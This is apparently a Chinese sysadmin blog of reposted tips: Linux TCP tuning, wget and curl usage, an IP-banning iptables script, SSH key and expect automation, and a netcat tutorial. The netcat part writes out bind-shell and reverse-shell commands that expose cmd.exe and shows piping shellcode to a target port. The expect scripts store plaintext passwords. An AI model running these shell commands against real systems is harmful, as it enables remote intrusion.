meisw's blog

从 七猫的藏经阁 作者：Diviner
To support over 500k users, you *need*

- A 64 bits hardware/kernel (AMD64, Opterons)
- At least 8GB of ram
- A recent linux kernel (2.6.x)

About tuning, I prefer to not fully disclose them because servers are targets of many attacks, so it's better not help hackers.

The most touchy thing is the IP route cache : You have to tune it or else the machine drops many connections

(hint : rhash_entries=... in the boot append string)
hints :
echo 1 > /proc/sys/net/ipv4/route/gc_interval
echo 150 >/proc/sys/net/ipv4/route/gc_timeout
echo 2 >/proc/sys/net/ipv4/route/gc_elasticity

- Use of hugeTLB pages
hint :
echo xxx >/proc/sys/vm/nr_hugepages

Tune tcp :
echo "4096 49152 131072" >/proc/sys/net/ipv4/tcp_wmem
echo xxxx >/proc/sys/net/ipv4/tcp_max_syn_backlog
echo xxxx >/proc/sys/net/core/somaxconn
echo 1200000 > /proc/sys/net/ipv4/tcp_max_tw_buckets
echo 7 >/proc/sys/net/ipv4/tcp_retries2
echo "600000 650000 700000" >/proc/sys/net/ipv4/tcp_mem
echo 0 >/proc/sys/net/ipv4/tcp_timestamps
echo 0 >/proc/sys/net/ipv4/tcp_window_scaling
echo 0 >/proc/sys/net/ipv4/tcp_sack
echo 330000 >/proc/sys/net/ipv4/tcp_max_orphans
echo "10000 62000" >/proc/sys/net/ipv4/ip_local_port_range

others :
echo 1300000 >/proc/sys/fs/file-max

相关网址

http://hi.baidu.com/linux_kernel/blog/item/8cedeaf81c3c150fd8f9fd7d.html

wget 是一个命令行的下载工具。对于我们这些 Linux 用户来说，几乎每天都在使用它。下面为大家介绍几个有用的 wget 小技巧，可以让你更加高效而灵活的使用 wget。

$ wget -r -np -nd http://example.com/packages/
这条命令可以下载 http://example.com 网站上 packages 目录中的所有文件。其中，-np 的作用是不遍历父目录，-nd 表示不在本机重新创建目录结构。

$ wget -r -np -nd --accept=iso http://example.com/centos-5/i386/
与上一条命令相似，但多加了一个 --accept=iso 选项，这指示 wget 仅下载 i386 目录中所有扩展名为 iso 的文件。你也可以指定多个扩展名，只需用逗号分隔即可。

$ wget -i filename.txt
此命令常用于批量下载的情形，把所有需要下载文件的地址放到 filename.txt 中，然后 wget 就会自动为你下载所有文件了。

$ wget -c http://example.com/really-big-file.iso
这里所指定的 -c 选项的作用为断点续传。

$ wget -m -k (-H) http://www.example.com/
该命令可用来镜像一个网站，wget 将对链接进行转换。如果网站中的图像是放在另外的站点，那么可以使用 -H 选项。

--------

方法1：

for /f "delims=" %%i in (url.txt) do (
echo wget %%i > download.bat
echo exit >> download.bat
call :download
)
goto :eof

:download
start download.bat
goto :eof

方法2：

start wget.exe -i "url.lst" -t 3 -T 20 -w 3 -o log.txt

下载url.list里的所有地址，设置：重试 3次 超时 20s 重试等待 3s 记录日志到 log.txt

nc是一款很不错的网络检测工具，以下是详细使用。
'nc.exe -h'即可看到各参数的使用方法。
基本格式：nc [-options] hostname port[s] [ports] ...
　　 nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式：nc -nvv 192.168.x.x 80
讲解：连到192.168.x.x的TCP80端口
2)监听本地主机
格式：nc -l -p 80
讲解：监听本机的TCP80端口
3)扫描远程主机
格式：nc -nvv -w2 -z 192.168.x.x 80-445
讲解：扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL，例子：
格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接，例子：
格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法（其实NC的用法还有很多，
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......）。
6)作攻击程序用，例子：
格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2：nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果，真是有异曲同工之妙:P)
附：'c:\exploit.txt'为shellcode等
7)作蜜罐用[1]，例子：
格式：nc -L -p 80
讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止
8)作蜜罐用[2]，例子：
格式：nc -L -p 80 > c:\log.txt
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把‘>'
　 改为‘>>'即可以追加日志
附：'c:\log.txt'为日志等
9)作蜜罐用[3]，例子：
格式1：nc -L -p 80 < c:\honeypot.txt
格式2：type.exe c:\honeypot.txt|nc -L -p 80
讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容‘送'入其管道中！
10)备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿

封超过100个连接的IP：

#!/bin/sh
/bin/netstat -na|grep ESTABLISHED|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|sort -rn|grep -v -E '172.16|127.0'|awk '{if ($2!=null && $1>100) {print $2}}'>/tmp/dropip
for i in $(cat /tmp/dropip)
do
/sbin/iptables -I INPUT  -p tcp -m tcp -s $i --dport 80 --syn -j REJECT
echo "$i kill at `date`">>~river/ddos
done

1. 自动ssh/scp方法==

A为本地主机(即用于控制其他主机的机器) ;
B为远程主机(即被控制的机器Server), 假如ip为192.168.60.110;
A和B的系统都是Linux

在A上运行命令:
# ssh-keygen -t rsa (连续三次回车,即在本地生成了公钥和私钥,不设置密码)
# ssh root@192.168.60.110 "mkdir .ssh" (需要输入密码)
# scp ~/.ssh/id_rsa.pub root@192.168.60.110:.ssh/id_rsa.pub (需要输入密码)

在B上的命令:
# touch /root/.ssh/authorized_keys (如果已经存在这个文件, 跳过这条)
# cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys (将id_rsa.pub的内容追加到authorized_keys 中)

回到A机器:
# ssh root@192.168.60.110 (不需要密码, 登录成功)

2. 控制n个机器如上所述自动登录
那就需要n对钥匙(密钥和公钥), ssh-keygen 命令可以随意更改钥匙对的名字, 比如:
# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa_192.168.60.110

这样私钥和公钥的名字分别就是: id_rsa_192.168.60.110和 id_rsa_192.168.60.110.pub;然后将 id_rsa_192.168.60.110.pub 文件的内容, 追加到sever的 ~/.ssh/authorized_keys文件中,最后, 在本地用ssh命令的 -i 参数指定本地密钥, 并登录:
# ssh -i /root/.ssh/id_rsa_192.168.60.110 someone@192.168.60.110

scp也是一样的
# scp -i /root/.ssh/id_rsa_192.168.60.110 filename someone@192.168.60.110:/home/someone

在文件.bashrc中加下两行，每次做同样的操作就不用敲入这样长的命令了：
alias sshcell='ssh -i /root/.ssh/id_rsa_192.168.60.110 someone@192.168.60.110'
alias scpcell='scp -i /root/.ssh/id_rsa_192.168.60.110 filename someone@192.168.60.110:/home/someone'

这样，直接键入一下指令实现ssh和scp自动登录：
# sshcell
# scpcell

3. 自动ssh/scp脚本
如果需要从A，到B，然后才能够到C，那么需要ssh和scp两次，是比较麻烦的。
ssh自动登录：
#!/usr/bin/expect -f
set timeout 30
spawn ssh weiqiong@B
expect "password:"
send "pppppp\r"
expect "]*"
send "ssh weiqiong@C\r"
expect "password:"
send "pppppp\r"
interact

scp从A拷贝文件到C：
#!/usr/bin/expect -f
set timeout 300
set file [lindex $argv 0]
spawn scp $file weiqiong@B:/home/weiqiong
expect "password:"
send "pppppp\r"
expect "]*"
spawn ssh weiqiong@B
expect "password:"
send "pppppp\r"
expect "]*"
send "scp $file weiqiong@C:/home/weiqiong\r"
expect "password:"
send "pppppp\r"
expect "]*"
exit
interact

scp从C拷贝文件到A：
#!/usr/bin/expect -f
set timeout 300
set file [lindex $argv 0]
spawn ssh weiqiong@B
expect "password:"
send "pppppp\r"
expect "]*"
send "scp weiqiong@C:/home/weiqiong/$file .\r"
expect "password:"
send "pppppp\r"
expect "]*"
send "exit\r"
expect "]*"
spawn scp weiqiong@B:/home/weiqiong/$file .
expect "password:"
send "pppppp\r"
interact

4. 建立ssh/scp通道
比如说我的机器是A，中间服务器为B，目标服务器是C<br>
从A可以ssh到B，从B可以ssh到C，但是A不能直接ssh到C<br>
现在展示利用ssh通道技术从A直接传输文件到C<br>
1. ssh -L1234:C:22 userid@B<br>
input B's password<br>
(1234是本机A的空闲端口，该指令需要A机器上的root用户权限，实际上是在本机1234端口建立了一个通道)<br>

2. 打开一个新的console，键入：<br>
scp -P1234 filename userid@localhost:<br>
input C's password

本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/netzsm/archive/2007/09/13/1783055.aspx

round函数可以截取小数点的位置,且可以进位,但如是小数点后的数为0时,也会去掉

如下函数可以达到效果

$money="122.0";  
  $formatted   =   sprintf("%.1f",   $money);  
  echo   $formatted;

$formatted=number_format($money,   1);

$ curl -o /dev/null -s -w %{time_connect}:%{time_starttransfer}:%{time_total}     http://www.canada.com 0.081:0.272:0.779

清单 1 给出对一个流行的新闻站点执行 curl 命令的情况。输出通常是 HTML 代码，通过 -o 参数发送到 /dev/null。-s 参数去掉所有状态信息。-w 参数让 curl 写出表 1 列出的计时器的状态信息：
表 1. curl 使用的计时器

这些计时器都相对于事务的起始时间，甚至要先于 Domain Name Service（DNS）查询。因此，在发出请求之后，Web 服务器处理请求并开始发回数据所用的时间是 0.272 – 0.081 = 0.191 秒。客户机从服务器下载数据所用的时间是 0.779 – 0.272 = 0.507 秒。

通过观察 curl 数据及其随时间变化的趋势，可以很好地了解站点对用户的响应性。

当然，Web 站点不仅仅由页面组成。它还有图像、JavaScript 代码、CSS 和 cookie 要处理。curl 很适合了解单一元素的响应时间，但是有时候需要了解整个页面的装载速度。

这里介绍一个使用curl监控页面可用性的方法。

可以使用下面的命令，来采集页面的状态码。如果这条命令返回结果为200，说明服务正常。如果返回的是其他的页面，说明异常。

curl -o /dev/null -s -w %{http_code} http://zys.8800.org/

-o 参数，是把下载的所有内容都重定向到/dev/null，-s命令，是屏蔽了curl本身的输出，而-w参数，是根据我们自己的需要，自定义了curl的输出格式。

使用这条命令，再配合邮件和短信，就可以实现对页面的可用性监控。将这个程序部署在全国各地的机器上，就可以对cdn网络进行可用性监控。